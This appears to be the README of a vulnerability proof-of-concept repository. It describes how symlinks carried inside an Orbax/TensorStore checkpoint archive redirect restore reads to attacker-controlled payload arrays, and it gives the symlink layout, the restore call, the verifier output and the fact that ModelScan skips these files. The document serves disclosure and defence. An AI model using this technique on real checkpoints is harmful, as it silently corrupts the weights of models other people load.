pragnyanramtha/orbax-checkpoint-symlink-output-poc

Orbax Checkpoint Symlink Traversal Causes Checkpoint Value Manipulation

Severity

Medium, 6.5/10.

Rationale: this is artifact-carried checkpoint output manipulation through a normal Orbax restore path. It is not arbitrary code execution, and practical delivery depends on preserving relative symlinks, but the restored model value changes despite the caller providing an expected target shape.

Summary

This repository contains a benign proof of concept for JAX/Orbax checkpoint restore behavior where filesystem symlinks inside checkpoint storage redirect TensorStore reads to attacker-controlled payload data.

The primary OCDBT variant contains normal checkpoint metadata for parameter victim, but the checkpoint's TensorStore files are symlinked to a sibling payload checkpoint:

checkpoint/manifest.ocdbt -> ../payload_checkpoint/manifest.ocdbt
checkpoint/d              -> ../payload_checkpoint/d

When restored with:

ocp.Checkpointer(ocp.PyTreeCheckpointHandler()).restore(
    checkpoint_path,
    args=ocp.args.PyTreeRestore(
        item={"victim": jax.ShapeDtypeStruct((3,), np.int32)}
    ),
)

Orbax returns payload values [777, 888, 999] instead of the benign expected values [1, 2, 3].

The non-OCDBT/Zarr variant similarly symlinks the parameter directory:

checkpoint/victim -> ../payload_zarr/victim

and restores [444, 555, 666] instead of [4, 5, 6].

No code execution payload is included. The PoC only demonstrates deterministic checkpoint value manipulation.

Impact

• Artifact-carried checkpoint output/weight manipulation.
• Reproduces through normal orbax.checkpoint.Checkpointer(...).restore().
• Reproduces even when the caller provides an expected target shape and dtype.
• The tarball uses relative in-tree symlinks that Python tarfile.extractall with filter="data" preserves.
• ModelScan 0.8.8 reports zero issues and scans zero files for the checkpoint directories in this environment.

Affected Versions Tested

• Python 3.12.3
• JAX 0.10.0
• jaxlib 0.10.0
• orbax-checkpoint==0.11.39
• TensorStore 0.1.83
• Flax 0.12.7
• ModelScan 0.8.8

Files

artifacts/orbax_symlink_poc.tar
  Primary artifact bundle. Contains OCDBT and non-OCDBT/Zarr variants with
  relative symlinks.

verify_orbax_symlink_output_poc.py
  End-to-end verifier. Extracts the tarball with Python's data filter, restores
  both variants with Orbax, and optionally records ModelScan behavior.

scripts/build_orbax_symlink_poc.py
  Original artifact builder.

scripts/original_verify_orbax_symlink_poc.py
  Original lab verifier.

evidence/fresh_verify.json
  Fresh verification output from this uploaded staging folder.

evidence/orbax_symlink_python_data_extract.json
  Evidence that Python tar extraction with `filter="data"` preserves the
  relative symlinks and the OCDBT restore still returns payload values.

evidence/lab_orbax_symlink_verify.json
  Lab verification output.

evidence/selftest_results_fresh.json
  Earlier staging self-test output.

evidence/sha256.txt
  Hashes for uploaded artifacts, scripts, and evidence files.

Reproduction

Install matching dependencies in an isolated environment:

pip install jax==0.10.0 jaxlib==0.10.0 orbax-checkpoint==0.11.39 tensorstore==0.1.83 flax==0.12.7 modelscan==0.8.8

Then run:

python verify_orbax_symlink_output_poc.py

Expected output highlights:

{
  "tarball_sha256": "837617f124262b148830996a726d6f2ced764b977c5d632941bdf8a7d74aaa97",
  "variants": [
    {
      "variant": "ocdbt_default",
      "expected_benign": [1, 2, 3],
      "expected_restored": [777, 888, 999],
      "actual_restored": [777, 888, 999],
      "matches_payload": true,
      "symlinks": {
        "checkpoint/manifest.ocdbt": "../payload_checkpoint/manifest.ocdbt",
        "checkpoint/d": "../payload_checkpoint/d"
      }
    },
    {
      "variant": "zarr2_non_ocdbt",
      "expected_benign": [4, 5, 6],
      "expected_restored": [444, 555, 666],
      "actual_restored": [444, 555, 666],
      "matches_payload": true,
      "symlinks": {
        "checkpoint/victim": "../payload_zarr/victim"
      }
    }
  ]
}

Scanner Behavior

ModelScan 0.8.8 skips the Orbax/TensorStore checkpoint files in this environment. For the OCDBT variant, the captured output shows:

{
  "total_issues": 0,
  "scanned": {"total_scanned": 0},
  "skipped": {
    "total_skipped": 6,
    "skipped_files": [
      {"category": "SCAN_NOT_SUPPORTED", "source": "manifest.ocdbt"},
      {"category": "SCAN_NOT_SUPPORTED", "source": "_METADATA"},
      {"category": "SCAN_NOT_SUPPORTED", "source": "_CHECKPOINT_METADATA"}
    ]
  }
}

This is scanner/runtime context only. The reportable issue is the checkpoint restore path following artifact-carried symlinks and returning attacker controlled arrays.

Archive Delivery Realism

The PoC uses relative symlinks within the archive. Python's tar extraction filter="data" preserves those links:

{
  "filter": "data",
  "links": {
    "ocdbt_manifest": {
      "is_symlink": true,
      "target": "../payload_checkpoint/manifest.ocdbt"
    },
    "ocdbt_d": {
      "is_symlink": true,
      "target": "../payload_checkpoint/d"
    },
    "zarr_victim": {
      "is_symlink": true,
      "target": "../payload_zarr/victim"
    }
  },
  "ocdbt_restored": [777, 888, 999]
}

Root Cause

Orbax checkpoint restore delegates array reads to TensorStore-backed checkpoint storage. The checkpoint root and metadata identify parameter victim, but the filesystem entries used by the TensorStore backend can be symlinks. The restore path follows those symlinks and reads sibling payload storage while preserving the expected key, shape, and dtype from the caller's restore target.

Hashes

837617f124262b148830996a726d6f2ced764b977c5d632941bdf8a7d74aaa97  artifacts/orbax_symlink_poc.tar
e63373861e65dc366a1ee32162f65caa83aa5961611ffde35cc28eeac9bddf04  verify_orbax_symlink_output_poc.py
8e1151be478f1bc701a3bc3e9344604f7a2f466cdb159d63a09d7c33e19c893b  scripts/build_orbax_symlink_poc.py
73878161040d270a636054a88a8f460efc7d411d46aa21008dae472c2b446712  scripts/original_verify_orbax_symlink_poc.py

Safety Notes

• No code execution payload is included.
• No shell, network, credential access, persistence, or destructive operation is used.
• The PoC uses tiny integer arrays to demonstrate checkpoint value manipulation.

Limitations

• This is not arbitrary code execution.
• Delivery must preserve relative symlinks.
• The issue is best framed as checkpoint output/weight integrity impact, not as a standalone scanner bypass.
• Some alternate path-manipulation ideas were tested and rejected by TensorStore; those are not part of this submitable PoC.

Duplicate Check Notes

During local triage, searches were performed for Orbax checkpoint symlink restore, TensorStore path traversal, OCDBT symlink checkpoint restore, and published Orbax/TensorStore advisories. No matching public issue or advisory was found.